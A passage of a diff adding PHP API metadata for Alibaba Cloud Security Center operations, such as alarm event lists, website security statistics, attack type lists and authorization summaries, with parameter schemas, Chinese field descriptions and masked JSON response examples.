=> 'boolean', + 'example' => 'false', + ], + 'SecurityEventIds' => [ + 'description' => '告警事件关联的告警事件的ID。', + 'type' => 'string', + 'example' => '270789', + ], + 'CanBeDealOnLine' => [ + 'description' => '是否能在线处理告警事件，例如阻断隔离、加白名单、忽略等。取值：'."\n" + ."\n" + .'- **true**：支持在线处理'."\n" + .'- **false**：不支持在线处理', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Description' => [ + 'description' => '告警事件的描述。', + 'type' => 'string', + 'example' => 'The detection model finds that there is a Trojan horse program on your server. The Trojan horse program is a program specially used to invade the user\'s host. Generally, it will download and release another malicious program after being implanted into the system through disguise.', + ], + 'ContainHwMode' => [ + 'description' => '是否包含重保模式。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'InstanceName' => [ + 'description' => '受告警事件影响资产实例的名称。', + 'type' => 'string', + 'example' => 'TestInstance', + ], + 'SaleVersion' => [ + 'description' => '支持检测告警事件的云安全中心的售卖版本。取值：'."\n" + .'- **0**：基础版本'."\n" + .'- **1**：高级版'."\n" + .'- **2**：企业版', + 'type' => 'string', + 'example' => '1', + ], + 'OperateErrorCode' => [ + 'description' => '告警事件处理的结果码。', + 'type' => 'string', + 'example' => 'kill_and_quara.Success', + ], + 'Solution' => [ + 'description' => '告警事件的处理方法。', + 'type' => 'string', + 'example' => 'A malicious program implanted by hacker after intrusion will occupy your bandwidth and attack other servers, and may affect you own service. The malicious process may also have self-deleting behavior or disguise as a system service to evade detection. ', + ], + 'DataSource' => [ + 'description' => '告警事件的数据来源。', + 'type' => 'string', + 'example' => 'aegis_****', + ], + 'HasTraceInfo' => [ + 'description' => '告警事件是否有溯源信息。取值：'."\n" + ."\n" + .'- **true**：有溯源'."\n" + .'- **false**：无溯源', + 'type' => 'boolean', + 'example' => 'true', + ], + 'OperateTime' => [ + 'description' => '告警事件处理的时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1631699497000', + ], + 'InstanceId' => [ + 'description' => '受告警事件影响的资产实例的ID。', + 'type' => 'string', + 'example' => 'i-e****', + ], + 'IntranetIp' => [ + 'description' => '受告警事件影响的资产实例的私网IP。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'EndTime' => [ + 'description' => '告警事件最新发生的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1543740301000', + ], + 'StartTime' => [ + 'description' => '告警事件的开始时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1543740301000', + ], + 'Uuid' => [ + 'description' => '告警事件关联的实例的唯一标识。', + 'type' => 'string', + 'example' => '47900178-885d-4fa4-9d77-****', + ], + 'AlarmEventType' => [ + 'description' => '告警事件的类型。', + 'type' => 'string', + 'example' => 'Malicious Software', + ], + 'AutoBreaking' => [ + 'description' => '是否自动防御。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'AlarmEventName' => [ + 'description' => '告警事件的名称。', + 'type' => 'string', + 'example' => 'Trojan', + ], + 'Level' => [ + 'description' => '告警事件的危险等级。取值：'."\n" + .'- **serious**：紧急'."\n" + .'- **suspicious**：可疑'."\n" + .'- **remind**：提醒', + 'type' => 'string', + 'example' => 'serious', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 42,\\n \\"RequestId\\": \\"D03DD0FD-6041-5107-AC00-383E28F1****\\",\\n \\"AlarmList\\": [\\n {\\n \\"Dealed\\": true,\\n \\"Stages\\": \\"[\\\\\\\\\\\\\\"authority_maintenance\\\\\\\\\\\\\\"]\\\\n\\",\\n \\"InternetIp\\": \\"95.214.*.*\\",\\n \\"SuspiciousEventCount\\": 1,\\n \\"GmtModified\\": 1656901794000,\\n \\"AlarmEventNameOriginal\\": \\"login_common_location\\",\\n \\"AlarmUniqueInfo\\": \\"8df914418f4211fbf756efe7a6f4****\\",\\n \\"CanCancelFault\\": false,\\n \\"SecurityEventIds\\": \\"270789\\",\\n \\"CanBeDealOnLine\\": true,\\n \\"Description\\": \\"The detection model finds that there is a Trojan horse program on your server. The Trojan horse program is a program specially used to invade the user\'s host. Generally, it will download and release another malicious program after being implanted into the system through disguise.\\",\\n \\"ContainHwMode\\": true,\\n \\"InstanceName\\": \\"TestInstance\\",\\n \\"SaleVersion\\": \\"1\\",\\n \\"OperateErrorCode\\": \\"kill_and_quara.Success\\",\\n \\"Solution\\": \\"A malicious program implanted by hacker after intrusion will occupy your bandwidth and attack other servers, and may affect you own service. The malicious process may also have self-deleting behavior or disguise as a system service to evade detection. \\",\\n \\"DataSource\\": \\"aegis_****\\",\\n \\"HasTraceInfo\\": true,\\n \\"OperateTime\\": 1631699497000,\\n \\"InstanceId\\": \\"i-e****\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"EndTime\\": 1543740301000,\\n \\"StartTime\\": 1543740301000,\\n \\"Uuid\\": \\"47900178-885d-4fa4-9d77-****\\",\\n \\"AlarmEventType\\": \\"Malicious Software\\",\\n \\"AutoBreaking\\": true,\\n \\"AlarmEventName\\": \\"Trojan\\",\\n \\"Level\\": \\"serious\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询网站安全报告的安全告警数据', + ], + 'DescribeDomainSecureStatistics' => [ + 'summary' => '查询网站安全报告的统计数据，包括网站个数，安全事件的数目等。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '113.87.*.*', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'NoSslCount' => [ + 'description' => '无证书的网站的个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1EE7B150-D67E-53FD-A52D-3E8E669A****', + ], + 'TotalDomainCount' => [ + 'description' => '总域名个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '72', + ], + 'RiskCount' => [ + 'description' => '有安全风险的域名个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'VulCount' => [ + 'description' => '有漏洞的域名个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'AlarmCount' => [ + 'description' => '有安全告警的域名个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"NoSslCount\\": 1,\\n \\"RequestId\\": \\"1EE7B150-D67E-53FD-A52D-3E8E669A****\\",\\n \\"TotalDomainCount\\": 72,\\n \\"RiskCount\\": 1,\\n \\"VulCount\\": 2,\\n \\"AlarmCount\\": 2\\n}","type":"json"}]', + 'title' => '查询网站安全报告的统计数据', + ], + 'DescribeDomainSecureScore' => [ + 'summary' => '查询网站安全报告的安全分，满分100分。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问者源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '123.113.*.*', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'SecurityScore' => [ + 'description' => '网站的安全分值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '11C96623-E106-59C9-866D-A6C82911****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"SecurityScore\\": 100,\\n \\"RequestId\\": \\"11C96623-E106-59C9-866D-A6C82911****\\"\\n}","type":"json"}]', + 'title' => '查询网站安全报告的安全分', + ], + 'GetAttackTypeList' => [ + 'summary' => '攻击分析事件展示中获取攻击类型列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92288', + 'abilityTreeNodes' => [ + 'FEATUREsasU5OJQA', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F****', + ], + 'AttackTypeList' => [ + 'description' => '攻击类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击类型列表。', + 'type' => 'object', + 'properties' => [ + 'Value' => [ + 'description' => '类型值。', + 'type' => 'string', + 'example' => 'upload', + ], + 'Label' => [ + 'description' => '攻击类型描述。', + 'type' => 'string', + 'example' => 'sas.attack.type.type12', + ], + 'Status_Type' => [ + 'description' => '攻击来源。取值：'."\n" + ."\n" + .'- **cfw**：云防火墙'."\n" + .'- **alinet**：网络防御插件'."\n" + .'- **waf**：WEB应用防火墙', + 'type' => 'string', + 'example' => 'alinet', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F****\\",\\n \\"AttackTypeList\\": [\\n {\\n \\"Value\\": \\"upload\\",\\n \\"Label\\": \\"sas.attack.type.type12\\",\\n \\"Status_Type\\": \\"alinet\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取攻击类型列表', + ], + 'GetAuthSummary' => [ + 'summary' => '获取授权统计。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92289', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0B48AB3C-***-B9270EF46038', + ], + 'DefaultAuthToAll' => [ + 'description' => '是否对所有资产默认授权，取值'."\n" + .'- **0**：否'."\n" + .'- **1**：是', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AllowPartialBuy' => [ + 'description' => '新购时是否允许按需购买授权，取值：'."\n" + .'- **0**：不允许'."\n" + .'- **1**：允许', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AllowUpgradePartialBuy' => [ + 'description' => '升级时时是否允许升级到按需购买授权，取值：'."\n" + .'- **0**：不允许'."\n" + .'- **1**：允许', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'HasPreBindSetting' => [ + 'description' => '是否存在预绑定资产配置，预绑定是指在购买时提前选择的资产绑定配置，取值：'."\n" + .'- **0**：不存在'."\n" + .'- **1**：存在', + 'type' => 'boolean', + 'example' => '1', + ], + 'IsMultiVersion' => [ + 'description' => '是否多版本，取值：'."\n" + .'- **0**：不存在'."\n" + .'- **1**：存在', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AutoBind' => [ + 'description' => '开通主机及容器安全包年包月服务时，表示包年包月新增资产自动绑定。取值：'."\n" + ."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'HighestVersion' => [ + 'description' => '购买安全中心最高版本。取值：'."\n" + .'- **1**：免费版'."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版'."\n" + .'- **7**：旗舰版'."\n" + .'- **10**：仅采购增值服务'."\n" + .'> 购买是单版本则表示对应的版本，购买为多版本时，该值表示子版本的最高版本。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Machine' => [ + 'description' => '资产授权统计信息。', + 'type' => 'object', + 'properties' => [ + 'RiskCoreCount' => [ + 'description' => '存在安全风险的资产核数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'BindCoreCount' => [ + 'description' => '已绑定授权的资产核数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalEcsCount' => [ + 'description' => '总资产台数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'BindEcsCount' => [ + 'description' => '已绑定的资产台数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCoreCount' => [ + 'description' => '总资产核数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'RiskEcsCount' => [ + 'description' => '存在安全风险的资产台数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'UnBindEcsCount' => [ + 'description' => '未绑定的资产台数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'UnBindCoreCount' => [ + 'description' => '未绑定的资产核数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'PostPaidBindCoreCount' => [ + 'description' => '绑定后付费授权的资产核数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'PostPaidBindEcsCount' => [ + 'description' => '绑定后付费授权的资产台数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + 'VersionSummary' => [ + 'description' => '授权使用统计信息。', + 'type' => 'array', + 'items' => [ + 'description' => '授权使用统计信息。', + 'type' => 'object', + 'properties' => [ + 'Index' => [ + 'description' => '当前版本索引，数值越大版本越高，用于排序。取值：'."\n" + .'- **1**：免费版 '."\n" + .'- **2**：防病毒版 '."\n" + .'- **3**：高级版'."\n" + .'- **4**：企业版'."\n" + .'- **5**：旗舰版', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Version' => [ + 'description' => '已购买的云安全中心版本。 取值： '."\n" + .'- **1**：免费版 '."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版 '."\n" + .'- **8**：多版本 '."\n" + .'- **10**：仅采购增值服务', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'UsedCoreCount' => [ + 'description' => '已使用的授权核数。'."\n" + .'> 此参数在AuthBindType取值为CORE或ASSET_AND_CORE时有效。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'UnUsedCount' => [ + 'description' => '未使用的授权台数。'."\n" + .'> 此参数在AuthBindType取值为ASSET或ASSET_AND_CORE时有效。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'UsedEcsCount' => [ + 'description' => '已使用的授权台数。'."\n" + .'> 此参数在AuthBindType取值为ASSET或ASSET_AND_CORE时有效。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '当前版本总授权台数。'."\n" + .'> 此参数在AuthBindType取值为ASSET或ASSET_AND_CORE时有效。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalEcsAuthCount' => [ + 'description' => '总授权台数。'."\n" + .'> 此参数在AuthBindType取值为ASSET或ASSET_AND_CORE时有效。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCoreAuthCount' => [ + 'description' => '总授权核数。'."\n" + .'> 此参数在AuthBindType取值为CORE或ASSET_AND_CORE时有效。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'UnusedEcsAuthCount' => [ + 'description' => '未使用的授权台数。'."\n" + .'> 此参数在AuthBindType取值为ASSET或ASSET_AND_CORE时有效。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'UnusedCoreAuthCount' => [ + 'description' => '未使用的授权核数。'."\n" + .'> 此参数在AuthBindType取值为CORE或ASSET_AND_CORE时有效。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'AuthBindType' => [ + 'description' => '绑定时消耗的授权类型，取值：'."\n" + .'- ASSET：消耗授权台数'."\n" + .'- CORE：消耗授权核数'."\n" + .'- ASSET_AND_CORE：同时消耗授权台数和授权核数。', + 'type' => 'string', + 'example' => 'ASSET', + ], + ], + ], + ], + 'AllowUserUnbind' => [ + 'description' => '是否允许立即解绑所有已绑定资产，取值：'."\n" + .'- **0**：否'."\n" + .'- **1**：是', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PostPaidVersionSummary' => [ + 'description' => '主机及容器安全按量付费服务授权统计。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'AuthBindType' => [ + 'description' => '绑定时消耗的授权类型，取值：'."\n" + .'- **ASSET**：消耗授权台数'."\n" + .'- **CORE**：消耗授权核数'."\n" + .'- **ASSET_AND_CORE**：同时消耗授权台数和授权核数。', + 'type' => 'string', + 'example' => 'ASSET', + ], + 'Version' => [ + 'description' => '已绑定的主机资产后付费版本，取值： '."\n" + .'- **1**：免费版 '."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'Index' => [ + 'description' => '当前版本索引，数值越大版本越高，用于排序，取值：'."\n" + .'- **1**：免费版 '."\n" + .'- **2**：防病毒版 '."\n" + .'- **3**：高级版'."\n" + .'- **4**：企业版'."\n" + .'- **5**：旗舰版', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'UsedCoreCount' => [ + 'description' => '已使用的授权核数。'."\n" + .'> 此参数在AuthBindType取值为CORE或ASSET_AND_CORE时有效。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + 'UsedEcsCount' => [ + 'description' => '已使用的授权台数。'."\n" + .'> 此参数在AuthBindType取值为ASSET或ASSET_AND_CORE时有效。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + ], + ], + ], + 'PostPaidHostAutoBind' => [ + 'description' => '主机及容器安全按量付费服务新增主机自动绑定标识，取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'string', + 'example' => '1', + ], + 'PostPaidHostAutoBindVersion' => [ + 'description' => '主机及容器安全按量付费服务新增资产自动绑定版本，取值：'."\n" + .'- **1**：免费版 '."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版', + 'type' => 'string', + 'example' => '7', + ], + 'PostPaidHighestVersion' => [ + 'description' => '开通主机及容器安全按量付费服务的防护版本，为所有已绑定主机中的最高防护版本。 取值： '."\n" + .'- **1**：免费版 '."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版', + 'type' => 'string', + 'example' => '7', + ], + 'InvalidBindStatus' => [ + 'description' => '绑定生效状态，取值：'."\n" + .'- **NORMAL**：有效'."\n" + .'- **INVALID_NODE_VERSION**：无效', + 'type' => 'string', + 'example' => 'INVALID_NODE_VERSION', + ], + 'ClusterNodeCheck' => [ + 'description' => '集群节点是否需要检校验机器版本，取值：'."\n" + .'- **0**：不需要'."\n" + .'- **1**：需要', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-***-B9270EF46038\\",\\n \\"DefaultAuthToAll\\": 1,\\n \\"AllowPartialBuy\\": 1,\\n \\"AllowUpgradePartialBuy\\": 1,\\n \\"HasPreBindSetting\\": true,\\n \\"IsMultiVersion\\": 1,\\n \\"AutoBind\\": 1,\\n \\"HighestVersion\\": 1,\\n \\"Machine\\": {\\n \\"RiskCoreCount\\": 10,\\n \\"BindCoreCount\\": 10,\\n \\"TotalEcsCount\\": 10,\\n \\"BindEcsCount\\": 10,\\n \\"TotalCoreCount\\": 10,\\n \\"RiskEcsCount\\": 10,\\n \\"UnBindEcsCount\\": 10,\\n \\"UnBindCoreCount\\": 10,\\n \\"PostPaidBindCoreCount\\": 10,\\n \\"PostPaidBindEcsCount\\": 10\\n },\\n \\"VersionSummary\\": [\\n {\\n \\"Index\\": 1,\\n \\"Version\\": 3,\\n \\"UsedCoreCount\\": 10,\\n \\"UnUsedCount\\": 10,\\n \\"UsedEcsCount\\": 10,\\n \\"TotalCount\\": 10,\\n \\"TotalEcsAuthCount\\": 10,\\n \\"TotalCoreAuthCount\\": 10,\\n \\"UnusedEcsAuthCount\\": 10,\\n \\"UnusedCoreAuthCount\\": 10,\\n \\"AuthBindType\\": \\"ASSET\\"\\n }\\n ],\\n \\"AllowUserUnbind\\": 1,\\n \\"PostPaidVersionSummary\\": [\\n {\\n \\"AuthBindType\\": \\"ASSET\\",\\n \\"Version\\": 3,\\n \\"Index\\": 1,\\n \\"UsedCoreCount\\": 10,\\n \\"UsedEcsCount\\": 10\\n }\\n ],\\n \\"PostPaidHostAutoBind\\": \\"1\\",\\n \\"PostPaidHostAutoBindVersion\\": \\"7\\",\\n \\"PostPaidHighestVersion\\": \\"7\\",\\n \\"InvalidBindStatus\\": \\"INVALID_NODE_VERSION\\",\\n \\"ClusterNodeCheck\\": 1\\n}","type":"json"}]', + 'title' => '获取授权统计', + ], + 'GetServerlessAuthSummary' => [ + 'summary' => '获取Serverless授权概览。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '227930', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'VendorType', + 'in' => 'query', + 'schema' => [ + 'title' => '渠道标识：SAE/PAI/ASK', + 'description' => '所属云产品：'."\n" + .'- **ASK**'."\n" + .'- **SAE**'."\n" + .'- **ACS**', + 'type' => 'string', + 'required' => false, + 'example' => 'SAE', + ], + ], + [ + 'name' => 'MachineType', + 'in' => 'query', + 'schema' => [ + 'title' => '机器类型:RunD/ECI', + 'description' => '服务器类型：'."\n" + .'- **RunD**'."\n" + .'- **ECI**', + 'type' => 'string', + 'required' => false, + 'example' => 'RunD', + ], + ], + [ + 'name' => 'AppRegionId', + 'in' => 'query', + 'schema' => [ + 'title' => '区域id', + 'description' => '应用地域ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据详情。', + 'type' => 'object', + 'properties' => [ + 'IsPostPaid' => [ + 'title' => '是后支付', + 'description' => '是否后支付实例。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'true', + ], + 'PostPaidModuleSwitch' => [ + 'title' => '后支付单元转换', + 'description' => '按量付费模块开关。取值：'."\n" + ."\n" + .'- **VUL**：漏洞修复模块'."\n" + .'- **CSPM**：云安全态势管理模块'."\n" + .'- **AGENTLESS**：无代理检测模块'."\n" + .'- **SERVERLESS**：Serverless安全模块'."\n" + .'- **CTDR**：威胁分析与响应模块', + 'type' => 'string', + 'example' => 'SERVERLESS', + ], + 'PostpaidInstanceId' => [ + 'title' => '后付费实例id', + 'description' => '后付费实例ID。', + 'type' => 'string', + 'example' => 'sas-postpay-**', + ], + 'PostPaidOpenTime' => [ + 'title' => '后支付开启时间', + 'description' => '后付费开启时间。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1655432638000', + ], + 'PostPaidStatus' => [ + 'title' => '后支付状态', + 'description' => '后付费实例状态。取值：'."\n" + .'- **1**：生效中'."\n" + .'- **2**：欠费停机', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'IsServerlessPostPaidValid' => [ + 'title' => 'serverless后支付状态', + 'description' => 'serverless后付费状态。取值：'."\n" + .'- **true**：生效中'."\n" + .'- **false**：已失效', + 'type' => 'boolean', + 'example' => 'true', + ], + 'TotalBindAppCount' => [ + 'title' => '绑定应用程序总数', + 'description' => '绑定应用总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalUnBindAppCount' => [ + 'title' => '未绑定应用程序总数', + 'description' => '未绑定应用总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TotalBindInstanceCount' => [ + 'title' => '绑定实例总数', + 'description' => '绑定实例总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TotalUnBindInstanceCount' => [ + 'title' => '未绑定实例总数', + 'description' => '未绑定实例总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'TotalBindCoreCount' => [ + 'title' => '绑定核心总数', + 'description' => '绑定核心总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TotalUnBindCoreCount' => [ + 'title' => '未绑定核心总数', + 'description' => '未绑定核心总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RegionId' => [ + 'title' => '区域id', + 'description' => '区域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'AutoBind' => [ + 'description' => '开启自动绑定。取值：'."\n" + ."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'HasPreBindSetting' => [ + 'description' => '是否存在预绑定资产配置，预绑定是指在购买时提前选择的资产绑定配置，取值：'."\n" + .'- **0**：不存在'."\n" + .'- **1**：存在', + 'type' => 'boolean', + 'example' => '1', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败'."\n", + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"IsPostPaid\\": true,\\n \\"PostPaidModuleSwitch\\": \\"SERVERLESS\\",\\n \\"PostpaidInstanceId\\": \\"sas-postpay-**\\",\\n \\"PostPaidOpenTime\\": 1655432638000,\\n \\"PostPaidStatus\\": 1,\\n \\"IsServerlessPostPaidValid\\": true,\\n \\"TotalBindAppCount\\": 10,\\n \\"TotalUnBindAppCount\\": 1,\\n \\"TotalBindInstanceCount\\": 1,\\n \\"TotalUnBindInstanceCount\\": 2,\\n \\"TotalBindCoreCount\\": 1,\\n 